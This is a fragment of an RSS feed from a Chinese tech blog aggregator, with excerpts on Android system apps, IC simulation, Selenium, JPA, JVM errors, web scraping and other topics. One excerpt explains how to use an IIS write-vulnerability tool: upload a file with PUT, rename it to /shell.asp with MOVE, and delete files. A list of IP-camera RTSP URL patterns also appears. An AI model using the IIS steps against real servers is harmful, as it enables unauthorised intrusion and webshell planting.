      <description>不可删除，已通过测试。 使得成为系统应用，将不可删除。请注意，成为系统应用不用删除属性，不代表具备可操作系统权限。同时，请确认AndroidManifest.xml 无错误，软件可运行不代表 xml 无错误。 解决方法：将 apk 放置于 /system/app 文件夹内。&#xA;步骤：&#xA;adb root ... // 若出现 timeout 等待连接成功即可。 adb remount ...adb disable-verity // 出现 Use &#34;adb disable-verity&#34; to disable verity. 解决方案 ...adb reboot adb push *.apk /system/app ... adb push *.so /system/lib64 或 /system/lib //若apk具备依赖关系，可通过压缩软件打开知否存在lib文件夹查看。 adb shell cd /system/app chmod 777 *.apk // 具备可执行权限 reboot // 重启后，apk 会执行安装操作。若重新后未发现图标，说明未正确安装，可使用 adb install -r 进行安装，具备安装失败原因提示。 系统权限 ，已通过测试。 xml 中，manifes 添加 android:sharedUserId=&#34;android.uid.system&#34;。 签名准备 准备文件：platform.</description>
    </item>
    <item>
      <title>算法概念及基本特性</title>
      <link>https://bchobby.github.io/posts/ed703c5a829e2949fa6b507bab52ceb5/</link>
      <pubDate>Fri, 18 Sep 2020 19:57:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ed703c5a829e2949fa6b507bab52ceb5/</guid>
      <description>概念： 一个算法是若干规则所构成的有穷序列，每个规则规定了解决某特定问题所采取的动作。通俗来说：算法是对特定问题求解步骤的一种描述。&#xA;算法特性： 输入：有零个或多个外部变量作为算法的输入输出：算法至少产生一个量作为输出确定性：组成算法的的每条指令都是清晰，没有歧义的有限性：算法中每条指令的执行次数有限，指令执行的时间也是有限的。可行性：算法中每个步骤都可以精确地执行，而且人们用纸和笔做有穷次运算即可完成 注意： 程序 ≠ \neq ​=算法。程序是算法的具体体现，但程序可以不满足有限性。如死循环</description>
    </item>
    <item>
      <title>数字IC设计随笔之二（VCS、DVE|Verdi单步调试）</title>
      <link>https://bchobby.github.io/posts/fe69b949710b24d5652da093a06c372a/</link>
      <pubDate>Fri, 18 Sep 2020 17:46:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fe69b949710b24d5652da093a06c372a/</guid>
      <description>VCS、DVE|Verdi单步调试 使用VCS+Verdi进行仿真时，需要在仿真文件中添加如下代码：&#xA;initial begin $fsdbDumpfile(&#34;test.fsdb&#34;); $fsdbDumpvars(&#34;+all&#34;); end 编译仿真的基本方式是在命令行中输入：&#xA;vcs -full64 -P $VERDI_LIB/novas.tab $VERDI_LIB/pli.a test.v ./simv 在上述命令中，编译的文件为test.v。当对一个包含文件较多的工程进行编译仿真时，VCS -f 选项支持从文件读取，在该文件flist中指定编译选项，下述为简单的示例：&#xA;//===================verilog library extension=========== +libext+.v+.sv+.vlib //===================Top level file ===================== ./rtl_sim/tb.v +incdir+./src //===================Search path======================== -y ./src -y ./rtl_sim 当使用VCS＋Verdi进行单步调试时，需要在VCS编译时增加-debug_all -lca -kdb选项予以支持，并且需要指定Verdi。&#xA;vcs -full64 -f flist -debug_all -lca -kdb \ -P $VERDI_LIB/novas.tab $VERDI_LIB/pli.a ./simv -gui=verdi 将上述命令写为bash或者makefile文件，运行后，将会在Verdi中打开，呈现如下界面，左下角为命令输入窗口，右上角为加载的代码，可以在其中加断点，在命令行输入run将按照断点处执行，同时可以进行单步运行，输入命令next。相关命令操作都可以在菜单simulation里面找到。&#xA;此外，进行调试时也可以选择vcs自带的工具dve。采用DVE进行单步调试时，与Verdi的主要区别在于波形文件格式不同，DVE产生波形文件为VPD，因此，在进行仿真时需要产生VPD波形而非FSDB。产生vpd文件的方式可以通过在仿真文件中添加：&#xA;initial begin $vcdpluson; end 或者添加编译指令+vcs+vcdpluson，并设定vpd文件名：VPD_NAME = +vpdfile+top_test.vpd。&#xA;执行仿真后，可以设置断点，在命令行输入run即可执行，在断点处停下来，其它相关调试选项在DVE菜单Simulator中可见。</description>
    </item>
    <item>
      <title>网络监控摄像头 rtsp 地址收集</title>
      <link>https://bchobby.github.io/posts/88a57d754a327722a73019c20565c4a9/</link>
      <pubDate>Fri, 18 Sep 2020 15:40:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/88a57d754a327722a73019c20565c4a9/</guid>
      <description>3S rtsp://IP地址/cam1/h264 4XEM&#xA;rtsp://IP地址/live.sdp A-MTK&#xA;rtsp://IP地址/media/media.amp ABS&#xA;rtsp://IP地址/mpeg4/1/media.amp Absolutron&#xA;rtsp://IP地址/image.mpg ACTI&#xA;1. rtsp://192.168.0.100:7070/ 2. rtsp://192.168.0.100/ Acumen&#xA;rtsp://IP地址/mpg4/rtsp.amp Airlink101&#xA;rtsp://IP地址/mpeg4 AirLive&#xA;rtsp://IP地址/video.mp4 ALinking&#xA;1. rtsp://IP地址/cam1/mjpeg 2. rtsp://IP地址/cam1/mpeg4 3. rtsp://IP地址/cam1/h264 ALLIEDE&#xA;rtsp://IP地址:555/0/1:1/main Asante&#xA;rtsp://IP地址/cam1/mpeg4 Asoni&#xA;1. rtsp://IP地址/GetData.cgi 2. rtsp://IP地址/ Aviosys&#xA;1. rtsp://IP地址/mpeg4 2. rtsp://IP地址:8554/mpeg4 AVS&#xA;Uriel: rtsp://IP地址/mpeg4 AVTech&#xA;1. rtsp://IP地址/live/mpeg4 2. rtsp://IP地址/live/h264 安迅士/AXIS&#xA;rtsp://[username]:[password]@[ip]/axis-media/media.amp?[videocodec]&amp;amp;[resolution] 说明： username：用户名。例如admin password：密码。例如12345，如果没有网络验证可省略用户名密码部分以及@字符。 ip：为设备IP。例如192.168.0.108。 videocodec：支持MPEG、h.264等，可缺省。 resolution：分辨率，如resolution=1920x1080，若采用默认分辨率，可缺省此参数。 例如，请求某设备h264编码的1280x720的码流，URL如下： rtsp:// 192.168.200.202/axis-media/media.amp?videocodec=h264&amp;amp;resolution=1280x720 AXview&#xA;rtsp://IP地址 Basler&#xA;1. rtsp://192.168.100.x/mpeg4 2. rtsp://IP地址/h264?multicast BiKal</description>
    </item>
    <item>
      <title>selenium的text()方法获取不了标签文本的解决方法</title>
      <link>https://bchobby.github.io/posts/49d1fe6da00b46b21cb15421623cbbab/</link>
      <pubDate>Fri, 18 Sep 2020 09:13:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/49d1fe6da00b46b21cb15421623cbbab/</guid>
      <description>selenium的text方法获取不了标签文本的解决方法 一、问题二、解决方法方法一方法二 三、拓展 一、问题 现象： 通过driver.find_element_by_xxx().text()获取的文本值为空&#xA;可能原因： 当前定位的元素可能被隐藏了，由于webdriver spec的定义，Selenium WebDriver 只会与可见元素交互，所以获取隐藏元素的文本总是会返回空字符串。&#xA;排查方法： 通过driver.find_element_by_xx().is_displayed() 确定元素是否被隐藏了，如果得到 false的结果.那就说明被隐藏了&#xA;二、解决方法 方法一 修改页面当前定位元素,或者当前元素父元素的CSS,使元素的is_displayed() 值为true.&#xA;方法二 is_displayed() 为false的元素,依然可以通过getAttribute()方法获取元素的属性.。&#xA;driver.find_element_by_xx(‘x’).get_attribute(‘attributeName’), 通过textContent, innerText, innerHTML等属性获 取。&#xA;innerHTML：会返回元素的内部 HTML， 包含所有的HTML标签。textContent 和 innerText： 只会得到文本内容，而不会包含 HTML 标签。 三、拓展 textContent 是 W3C 兼容的文字内容属性，但是 IE 不支持&#xA;innerText 不是 W3C DOM 的指定内容，FireFox不支持</description>
    </item>
    <item>
      <title>JPA查关联对象为空、为null的 isNull isEmpty</title>
      <link>https://bchobby.github.io/posts/a5ddd1439bde36f54270c9031bb46dcf/</link>
      <pubDate>Fri, 18 Sep 2020 09:11:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a5ddd1439bde36f54270c9031bb46dcf/</guid>
      <description>CriteriaBuilder&#xA;public class Test { @Autowired private ReceiptSourceRepository receiptSourceRepository; public void test() { Specification&amp;lt;ReceiptSource&amp;gt; spec= (Root&amp;lt;ReceiptSource&amp;gt; root, CriteriaQuery&amp;lt;?&amp;gt; query, CriteriaBuilder cb) -&amp;gt; { Predicate predicate = cb.conjunction(); predicate = cb.and(predicate,cb.isNull(root.get(&#34;accountsEntity&#34;))); predicate = cb.and(predicate,cb.isEmpty(root.get(&#34;receiptsCostList&#34;))); query.where(predicate); return query.getRestriction(); }; List&amp;lt;ReceiptSource&amp;gt; receiptSourceList = receiptSourceRepository.findAll(spec); } } package com.allqj.finance.business.receipts.repository; import com.allqj.finance.business.receipts.entity.ReceiptSource; import org.springframework.data.jpa.repository.JpaRepository; import org.springframework.data.jpa.repository.JpaSpecificationExecutor; @Repository public interface ReceiptSourceRepository extends JpaRepository&amp;lt;ReceiptSource,String&amp;gt;, JpaSpecificationExecutor&amp;lt;ReceiptSource&amp;gt; { } package com.allqj.finance.business.receipts.entity; import lombok.Getter; import lombok.Setter; import lombok.experimental.Accessors; import org.</description>
    </item>
    <item>
      <title>永远不要忘记_永远不要说永远不在技术领域</title>
      <link>https://bchobby.github.io/posts/839de0d51d6b541f99a8513c0c7bf81f/</link>
      <pubDate>Fri, 18 Sep 2020 05:26:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/839de0d51d6b541f99a8513c0c7bf81f/</guid>
      <description>永远不要忘记&#xA;“The difference between an interactive game and an interactive work of art is not just in the subject matter. It is also in the program and interface, which are important parts of the expression of a work.”&#xA;“互动游戏和互动艺术品之间的区别不仅在于主题。 它也在程序和界面中，它们是作品表达的重要组成部分。” — Jim Campbell&#xA;—吉姆·坎贝尔 As a part of my Creative Coding class, I read Delusions of Dialogue: Control and Choice in Interactive Art by Jim Campbell. The essay was published by the MIT Press in 2000.</description>
    </item>
    <item>
      <title>allegro .brd文件转成AD .pcbdoc文件</title>
      <link>https://bchobby.github.io/posts/27a1241260f185dc157a775c9ad0dde7/</link>
      <pubDate>Thu, 17 Sep 2020 19:50:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/27a1241260f185dc157a775c9ad0dde7/</guid>
      <description> allegro .brd文件转成AD .pcbdoc文件 1、将.brd文件生成.alg文件2、使用AD导入向导将.alg文件生成 .pcbdoc文件欢迎交流，欢迎转载，转载注明出处！！ 由于PCB工程师或者硬件工程师使用的软件不同，经常需要在各种PCB绘制软件之间进行格式转化。这就很脑袋疼了⊙﹏⊙，由于我最习惯用的还是altium designer，allegro也会一点儿，不是很熟悉。所以研究了一下如何将allegro的.brd格式转换成.pcbdoc文件，找了很多资料，结果就是。。。。emmmm 我自己写了这篇博客，废话不多说，分享一下“任督二脉”打通的方法。&#xA;1、将.brd文件生成.alg文件 .brd是allegro的二进制格式文件，第一步我们需要将.brd文件转换成.alg文件。.alg文件是以ASCII码格式存储的文件。有些方法是直接将.brd文件导入AD，不过我经过屡败屡试、屡试屡败的尝试后，放弃了！因为.brd格式导入 与使用的allegro软件版本 和AD版本有关系~~~如果你的allegro版本很高（比如楼主用的是17.4）但是恰好AD版本不是最新的（比如AD17）就可能导致转换失败。&#xA;所以！！我们采用“曲线救国”的策略，先生成.alg文件~&#xA;① 将AD的/system文件夹下的Allegro2Altium.bat文件及AllegroExportViews.txt 复制到与xxx.brd文件相同路径的文件下。&#xA;Allegro2Altium.bat文件及AllegroExportViews.txt位置如图：&#xA;②、使用文本编辑器（或者记事本）打开Allegro2Altium.bat，最开始文件内容如下：&#xA;注意！！重点来了:）&#xA;1、将extracta.exe %1中的 %1 改为XXX.brd&#xA;2、将AllegroASCII.txt %1.alg中的 %1 改为XXX&#xA;3、为了确保转换的万无一失，在extracta.exe之前加上cadence的安装路径，最终Allegro2Altium.bat变为：&#xA;③双击Allegro2Altium.bat运行，等待一小会儿，然后会生成.alg文件&#xA;2、使用AD导入向导将.alg文件生成 .pcbdoc文件 1、点击file→import wizard，选择Allegro Design Files，点击NEXT&#xA;2、添加刚才生成的.alg文件&#xA;3、转换过程&#xA;点击next，耐心等待生成.pcbdoc文件，看看结果，look!!&#xA;欢迎交流，欢迎转载，转载注明出处！！ </description>
    </item>
    <item>
      <title>Spark Streaming保存数据到HBase</title>
      <link>https://bchobby.github.io/posts/2af9e0ca8d568ce1ba1e64c30fd44c96/</link>
      <pubDate>Thu, 17 Sep 2020 18:25:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2af9e0ca8d568ce1ba1e64c30fd44c96/</guid>
      <description>本文主要讨论Spark Streaming保存计算结果数据到HBase的实现方案，包括Kerberos认证。&#xA;Spark版本：2.11-2.4.0-cdh6.3.2。&#xA;HBase版本：2.1.0-cdh6.3.2。&#xA;Spark保存数据到HBase，有两种方案：&#xA;方案一：使用HBase Client。方案二：使用Spark API。 每个方案有两种写法，一共四种写法，下面以一个示例进行说明，然后对主要部分进行拆解说明。&#xA;完整示例 示例场景：Spark Streaming消费Kafka，计算wordcount，将计算结果保存到HBase。计算结果的key作为rowkey的值，value作为cf:col的值。&#xA;示例完整代码：&#xA;package com.example.spark; import org.apache.hadoop.hbase.client.*; import org.apache.hadoop.hbase.io.ImmutableBytesWritable; import org.apache.hadoop.hbase.mapred.TableOutputFormat; import org.apache.hadoop.hbase.util.Bytes; import org.apache.hadoop.mapred.JobConf; import org.apache.hadoop.security.UserGroupInformation; import org.apache.kafka.clients.consumer.ConsumerConfig; import org.apache.kafka.clients.consumer.ConsumerRecord; import org.apache.kafka.common.serialization.StringDeserializer; import org.apache.spark.SparkConf; import org.apache.spark.SparkFiles; import org.apache.spark.api.java.JavaPairRDD; import org.apache.spark.streaming.Durations; import org.apache.spark.streaming.api.java.JavaDStream; import org.apache.spark.streaming.api.java.JavaInputDStream; import org.apache.spark.streaming.api.java.JavaPairDStream; import org.apache.spark.streaming.api.java.JavaStreamingContext; import org.apache.spark.streaming.kafka010.*; import org.apache.hadoop.conf.Configuration; import org.apache.hadoop.fs.Path; import org.apache.hadoop.hbase.HBaseConfiguration; import org.apache.hadoop.hbase.TableName; import scala.Tuple2; import java.io.IOException; import java.util.*; import java.util.regex.Pattern; /** * Consumes messages from one or more topics in Kafka and does wordcount, then save to HBase.</description>
    </item>
    <item>
      <title>stm移植W5500官方库遇到spi读取IP地址等信息错误</title>
      <link>https://bchobby.github.io/posts/693bbf9d8c1b993c90c418cc50e3e5e2/</link>
      <pubDate>Thu, 17 Sep 2020 16:13:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/693bbf9d8c1b993c90c418cc50e3e5e2/</guid>
      <description>这里写自定义目录标题 #前面略过按照官方文档移植&#xA;当设置完参数信息后再重新读取出来发现每个参数的第一个总是错的，然后找到他的读参数的函数，是这样的&#xA;// An highlighted block WIZCHIP.CS._select(); AddrSel |= (_W5500_SPI_READ_ | _W5500_SPI_VDM_OP_); if(!WIZCHIP.IF.SPI._read_burst || !WIZCHIP.IF.SPI._write_burst) // byte operation { WIZCHIP.IF.SPI._write_byte((AddrSel &amp;amp; 0x00FF0000) &amp;gt;&amp;gt; 16); WIZCHIP.IF.SPI._write_byte((AddrSel &amp;amp; 0x0000FF00) &amp;gt;&amp;gt; 8); WIZCHIP.IF.SPI._write_byte((AddrSel &amp;amp; 0x000000FF) &amp;gt;&amp;gt; 0); for(i = 0; i &amp;lt; len; i++) pBuf[i] = WIZCHIP.IF.SPI._read_byte(); } 在for循环里读到的第一个数总是错的；&#xA;一开始怀疑是写入参数时没写对，然后把寄存器地址往前偏移一位，发现参数写进去了，而且是对的，这样就把问题定位在spi读取函数上了。&#xA;我的spi读写函数是这样写的&#xA;void SPI1_Send_Byte(uint8_t dat) { while (SPI_I2S_GetFlagStatus(SPI1, SPI_I2S_FLAG_TXE) == RESET); SPI_I2S_SendData(SPI1,dat);//写1个字节数据 while (SPI_I2S_GetFlagStatus(SPI1, SPI_I2S_FLAG_TXE) == RESET); } uint8_t SPI1_Read_Byte(void) { while(SPI_I2S_GetFlagStatus(SPI1, SPI_I2S_FLAG_TXE) == RESET);//等待数据寄存器空 SPI1-&amp;gt;DR = 0x00; while(SPI_I2S_GetFlagStatus(SPI1, SPI_I2S_FLAG_RXNE) == RESET);//等待数据寄存器空 return SPI_I2S_ReceiveData(SPI1);; } 再分析官方库调用我们的回调函数发现，他是先调用三次发送函数，然后调用读函数，在这之后的第一次读函数读到的数据总是错的，然后就想到会不会是spi的数据寄存器没有清空导致的。代码改成这样之后，果然一切正常了</description>
    </item>
    <item>
      <title>JVM-内存溢出</title>
      <link>https://bchobby.github.io/posts/1f8b3088e241848ac53f060455d3375d/</link>
      <pubDate>Thu, 17 Sep 2020 14:22:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1f8b3088e241848ac53f060455d3375d/</guid>
      <description>1、堆内存溢出&#xA;堆内存中主要存放对象、数组等，只要不断地创建这些对象，并且保证GC Roots到对象之间有可达路径来避免垃圾收集回收机制清除这些对象，当这些对象所占空间超过最大堆容量时，就会产生OutOfMemoryError的异常。堆内存异常示例如下：&#xA;运行后会报异常，在堆栈信息中可以看到 java.lang.OutOfMemoryError: Java heap space 的信息，说明在堆内存空间产生内存溢出的异常。&#xA;新产生的对象最初分配在新生代，新生代满后会进行一次Minor GC，如果Minor GC后空间不足会把该对象和新生代满足条件的对象放入老年代，老年代空间不足时会进行Full GC，之后如果空间还不足以存放新对象则抛出OutOfMemoryError异常。常见原因：内存中加载的数据过多如一次从数据库中取出过多数据；集合对对象引用过多且使用完后没有清空；代码中存在死循环或循环产生过多重复对象；堆内存分配不合理；网络连接问题、数据库问题等。&#xA;2、虚拟机栈/本地方法栈溢出&#xA;（1）StackOverflowError：当线程请求的栈的深度大于虚拟机所允许的最大深度，则抛出StackOverflowError，简单理解就是虚拟机栈中的栈帧数量过多（一个线程嵌套调用的方法数量过多）时，就会抛出StackOverflowError异常。最常见的场景就是方法无限递归调用，如下：&#xA;上述代码执行后抛出：Exception in thread “Thread-0” java.lang.StackOverflowError的异常。&#xA;（2）OutOfMemoryError：如果虚拟机在扩展栈时无法申请到足够的内存空间，则抛出OutOfMemoryError。我们可以这样理解，虚拟机中可以供栈占用的空间≈可用物理内存 - 最大堆内存 - 最大方法区内存，比如一台机器内存为4G，系统和其他应用占用2G，虚拟机可用的物理内存为2G，最大堆内存为1G，最大方法区内存为512M，那可供栈占有的内存大约就是512M，假如我们设置每个线程栈的大小为1M，那虚拟机中最多可以创建512个线程，超过512个线程再创建就没有空间可以给栈了，就报OutOfMemoryError异常了。&#xA;栈上能够产生OutOfMemoryError的示例如下：&#xA;上述代码运行后会报异常，在堆栈信息中可以看到 java.lang.OutOfMemoryError: unable to create new native thread的信息，无法创建新的线程，说明是在扩展栈的时候产生的内存溢出异常。&#xA;总结：在线程较少的时候，某个线程请求深度过大，会报StackOverflow异常，解决这种问题可以适当加大栈的深度（增加栈空间大小），也就是把-Xss的值设置大一些，但一般情况下是代码问题的可能性较大；在虚拟机产生线程时，无法为该线程申请栈空间了，会报OutOfMemoryError异常，解决这种问题可以适当减小栈的深度，也就是把-Xss的值设置小一些，每个线程占用的空间小了，总空间一定就能容纳更多的线程，但是操作系统对一个进程的线程数有限制，经验值在3000~5000左右。在jdk1.5之前-Xss默认是256k，jdk1.5之后默认是1M，这个选项对系统硬性还是蛮大的，设置时要根据实际情况，谨慎操作。&#xA;3、方法区溢出&#xA;前面说到，方法区主要用于存储虚拟机加载的类信息、常量、静态变量，以及编译器编译后的代码等数据，所以方法区溢出的原因就是没有足够的内存来存放这些数据。&#xA;由于在jdk1.6之前字符串常量池是存在于方法区中的，所以基于jdk1.6之前的虚拟机，可以通过不断产生不一致的字符串（同时要保证和GC Roots之间保证有可达路径）来模拟方法区的OutOfMemoryError异常；但方法区还存储加载的类信息，所以基于jdk1.7的虚拟机，可以通过动态不断创建大量的类来模拟方法区溢出。&#xA;上述代码运行后会报“java.lang.OutOfMemoryError: PermGen space”的异常，说明是在方法区出现了内存溢出的错误。&#xA;4、本机直接内存溢出&#xA;本机直接内存（DirectMemory）并不是虚拟机运行时数据区的一部分，也不是Java虚拟机规范中定义的内存区域，但Java中用到NIO相关操作时（比如ByteBuffer的allocteDirect方法申请的是本机直接内存），也可能会出现内存溢出的异常。</description>
    </item>
    <item>
      <title>java trim()去掉string前后的空格和Tab( \t)， 换行(\n)或者 (\r)</title>
      <link>https://bchobby.github.io/posts/b2ade4f30eb7b9604f8537ebbfc2c5aa/</link>
      <pubDate>Thu, 17 Sep 2020 13:41:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b2ade4f30eb7b9604f8537ebbfc2c5aa/</guid>
      <description>String&#xA;trim()方法，可以去掉String前后的&#xA;①空格&#xA;②\t&#xA;③\n或者 \r&#xA;Main.java&#xA;package huafeng2019.github.io06;&#xA;public class Main {&#xA;public static void main(String[] args) {&#xA;String str = &#34; a b c d e \n &#34;;&#xA;System.out.println(&#34;[&#34; + str.trim() + &#34;]&#34;);&#xA;}&#xA;}</description>
    </item>
    <item>
      <title>Numpy的一些特殊用法汇总</title>
      <link>https://bchobby.github.io/posts/7d8db7cd585861c1092ec09303ed8aca/</link>
      <pubDate>Thu, 17 Sep 2020 11:53:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7d8db7cd585861c1092ec09303ed8aca/</guid>
      <description>我将会不断更新，。。。&#xA;numpy的两种扩充维度方法 使用None和np.newaxis在效果上是一样的&#xA;在1维度扩充&#xA;在0维度扩充&#xA;在0和1维度扩充</description>
    </item>
    <item>
      <title>s3 中的版本控制 versioning</title>
      <link>https://bchobby.github.io/posts/ce99ac5efdc5fd537ea3b21cb64cf2f9/</link>
      <pubDate>Thu, 17 Sep 2020 11:27:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ce99ac5efdc5fd537ea3b21cb64cf2f9/</guid>
      <description>三种版本模式： unable：单一版本enable：多版本suspend：从当前版本起不再生成新版本 unable 模式是将版本号设为 null，下次添加新版本会覆盖这个 null 版本。&#xA;enable 模式是每次修改都生成一个新对象，并给一个新的版本号。&#xA;suspend 模式是在有版本号的对象上面生成一个新的 null 版本，每次修改都是在重写这个 null 版本的对象。&#xA;模式转换触发操作 unable -&amp;gt; enable：自动在每个生成一个带版本号的新对象。&#xA;enable -&amp;gt; suspend：自动在每个对象上生成一个版本号为 null 的对象。&#xA;delete 操作 unable：在 null 版本上标记一个 delete 的 marker。&#xA;enable：在版本之上加入一个新版本，标记一个 delete 的 marker。&#xA;suspend：在 null 版本上标记 delete 的 marker（这意味着这上面的修改全部会丢失，不再能访问到）。&#xA;物理删除：必须指定版本号。逻辑删除：只指定对象的 key，不指定版本号。即在有版本之上生成一个对象，或就在 null 版本对象上，加一个 delete marker。定期清理：当对象的一个版本的生存时间超过 retention 时，会加入到 delete queue 中，进行物理删除（这意味着即使一个对象超过了生存时间，也有一定的时长内这个对象没有删除） 访问老版本 必须指定版本号才能访问老版本，只用 key 不用版本号只能访问最新版本。当最新版本有 delete marker 时将返回“找不到对象”。&#xA;访问权限 每一个版本都可指定不同用户的不同访问权限，即每个用户只用 key 时访问到的是自己的修改的最后版本对象。</description>
    </item>
    <item>
      <title>Fashion-MNIST数据集下载失败的解决办法</title>
      <link>https://bchobby.github.io/posts/f0bc5e7f80ecc5953c00d9fb1d06323e/</link>
      <pubDate>Thu, 17 Sep 2020 09:52:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f0bc5e7f80ecc5953c00d9fb1d06323e/</guid>
      <description> 1）从网上或网盘下载好压缩包（有4个）；&#xA;2）在 C:\Users\du\Datasets\FashionMNIST\FashionMNIST目录下新建文件夹raw和processed；&#xA;3）将下载好的压缩包放在文件夹raw下；（4个压缩包如下）&#xA;4）之后再执行如下代码，会跳过下载步骤，直接进行解压操作；&#xA;mnist_train = torchvision.datasets.FashionMNIST(root=&#39;~/Datasets/FashionMNIST&#39;, train=True, download=True, transform=transforms.ToTensor()) mnist_test = torchvision.datasets.FashionMNIST(root=&#39;~/Datasets/FashionMNIST&#39;, train=False, download=True, transform=transforms.ToTensor()) </description>
    </item>
    <item>
      <title>IIS 漏洞工具解析</title>
      <link>https://bchobby.github.io/posts/287e26183eebd5b329724c054676771c/</link>
      <pubDate>Wed, 16 Sep 2020 22:11:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/287e26183eebd5b329724c054676771c/</guid>
      <description>1. 概述通过学习文档内容。 熟悉并掌握 IIS 写入漏洞利用工具的利用方法，了解具体的功能内 容，亲自实践操作，并根据课程需求完成相关任务。&#xA;2. 工具功能说明 IIS 写入漏洞利用工具是由桂林老兵写的一款漏洞利用工具，专门针对 IIS 写入漏洞。 接下来我们具体介绍一下相关的使用。&#xA;2.1.第一部分 数据包格式 该功能模块默认的数据包传输方法有 7 种，分别是：&#xA;OPTIONS 返回服务器的各种信息&#xA;PUT 生成上传文件数据包的。&#xA;POST 用来提交表单&#xA;MOVE 是改名数据包。&#xA;COPY 是复制数据包。&#xA;DELETE 是删除数据包。&#xA;PROPFIND 是生成返回有浏览目录权限的目录内容的数据包。 最后点提交数据包把生成的数据包提交到服务器。域名在此处填写被检测网站的主机名或者 IP 地址请求文件 此处自定义被上传文件名 2.2.第二部分 该处是 HTTP 请求信息的回显区域，用于显示数据的请求状态。&#xA;2.3.第三部分 该处是 HTTP 响应信息的回显区域，用于显示服务响应结果内容。&#xA;3. 工具使用说明&#xA;例如 www.pig.com 根目录有可写权限。 选择本地一文件/填上他的域名/输入上传后存放的文件相对路径/点 PUT 生成数据包提 交即可把文件传到服务器。  改名输入域名/要改的文件名/点 MOVE 生成数据包。提交数据包后即可将指定文件改为 /shell.asp  删除文件 输入域名/输入要删除的文件相对路径/点 DELETE 生成数据包。检查无误后 提交数据包。这个文件就被删除了。&#xA;4. 案例演示&#xA;接下来以一个演示案例来说明一下 IIS 写入漏洞利用工具。首先我们需要确认目标网站 确实存在 IIS 可写入的漏洞，这个可以通过 AWVS 或者其他的扫描器辅助进行漏洞识别。</description>
    </item>
    <item>
      <title>Idea Java 快捷键整理</title>
      <link>https://bchobby.github.io/posts/c536e6900f19207733af83871b72df18/</link>
      <pubDate>Wed, 16 Sep 2020 21:46:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c536e6900f19207733af83871b72df18/</guid>
      <description> Ctrl + h：继承树；Alt + Insert ：唤起生成构造方法，get/set方法等；Ctrl + o：弹出重写方法框；Ctrl + Shift + Enter：整理代码格式，补充语句结束符号（如；），换行；Ctrl + Shift + F10：运行代码；Ctrl + Shift + 上下箭头：向上/向下移动当前这行代码；Ctrl + d：向下复制当前行；Ctrl + x：删除当前行代码；Ctrl + Alt + t：选择代码后，使用该快捷键可以唤起循环（如while，do while），捕获异常（try catch）操作选择，选择后会插入surround with结构到代码中；Alt + Enter：鼠标放在报错的波浪线上，按此快捷键，①如果是需要抛出异常会出现添加&#34;Add exception to method signatrue&#34;或&#34;Surround with try/catch&#34;；②如果是缺少xx类，则会自动导入类；Ctrl + Alt + m：选择代码，然后使用此快捷键可以将选中的代码抽取成一个方法； </description>
    </item>
    <item>
      <title>python 爬虫-爬取小说网站-小白级</title>
      <link>https://bchobby.github.io/posts/399c73614151b0c330d5d0ebce9f16db/</link>
      <pubDate>Wed, 16 Sep 2020 10:32:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/399c73614151b0c330d5d0ebce9f16db/</guid>
      <description>第一次编写爬虫网站。（感觉有点较凌乱）&#xA;各位大神，如果有更好的意见，欢迎指点建议。谢谢。&#xA;目前代码基本上能按照正常的思路扒取小说内容。&#xA;思路如下：首先进入小说网站首页---》然后选取要下载的系列----》然后开始下载当前系列的所有书本链接，并存放json----》然后读取json文件内的数据进行下载。&#xA;目前代码能够按照思路进行下载，但是下载速度太慢了 ，没有进行多线程下载（持续更新这部分功能）。&#xA;我反爬机制没做好，如果在同一个局域网，两台不同的电脑&amp;amp;不同的请求头，同时运行，会处罚到网站的反爬机制，导致页面返回出错。还需要优化。&#xA;在头文件处，添加浏览器本身的cookie信息，可以解决出错这个问题。&#xA;以下是效果图。&#xA;源码在文末。&#xA;#这是链接文件。&#xA;# -*- encoding=utf8 -*- #zj为章节的意思 from bs4 import BeautifulSoup import requests import json #存储书本链接文件 import pandas as pd #清洗数据，去掉重复的链接需要用到 import os #检查当前目录下是否有对应的文件需要用到 #导入这个urllib3 这个库是为了屏蔽报错信息 from requests.packages.urllib3.exceptions import InsecureRequestWarning html_base = &#39;http://www.qu.la/&#39; HEADERS= { &#39;User-Agent&#39;:&#39;User-Agent&#39;: &#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36&#39;, &#39;Referer&#39;: &#39;https://www.qu.la/book/68/&#39;, &#39;Host&#39;: &#39;www.qu.la&#39;, &#39;Cookie&#39;: &#39;【这里添加自己的cookie信息】&#39;} xl = {} xl_link = {} zj_list_links = [] #收集书本的所有链接 zj_list_html_dict = {} # total(int)：小说总数 next_href:下一页的链接 storyinfo = {} # 收集小说的书名、作者、简介、等信息 over_mark = True over_mark1 = True over_mark_getlinks = True #下载正文 ，下载完成后打开下一章继续下载，直至到完成一本书的下载 def get_story(soup): #下载第几章 storyinfo[&#34;</description>
    </item>
    <item>
      <title>谷歌firebase_我使用Google Firebase学到的东西</title>
      <link>https://bchobby.github.io/posts/581ee339cea15a58a418c5cc9e55c593/</link>
      <pubDate>Wed, 16 Sep 2020 05:10:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/581ee339cea15a58a418c5cc9e55c593/</guid>
      <description>谷歌firebase&#xA;When I first started my coding journey, I always here fellow programmers talk about how annoying Authentication and Authorization are. You can spend hours upon hours of time scratching your head and melting your brain and researching on Stack Overflow about it, and the end results are simply not as fancy and visible as some front end JavaScript codes and CSS styling. Thanks to third party Authentication services such as OAuth &amp;amp; Google Firebase, we don’t have to ever write our own authentication and authorization codes.</description>
    </item>
    <item>
      <title>Keras学习笔记3——keras.layers</title>
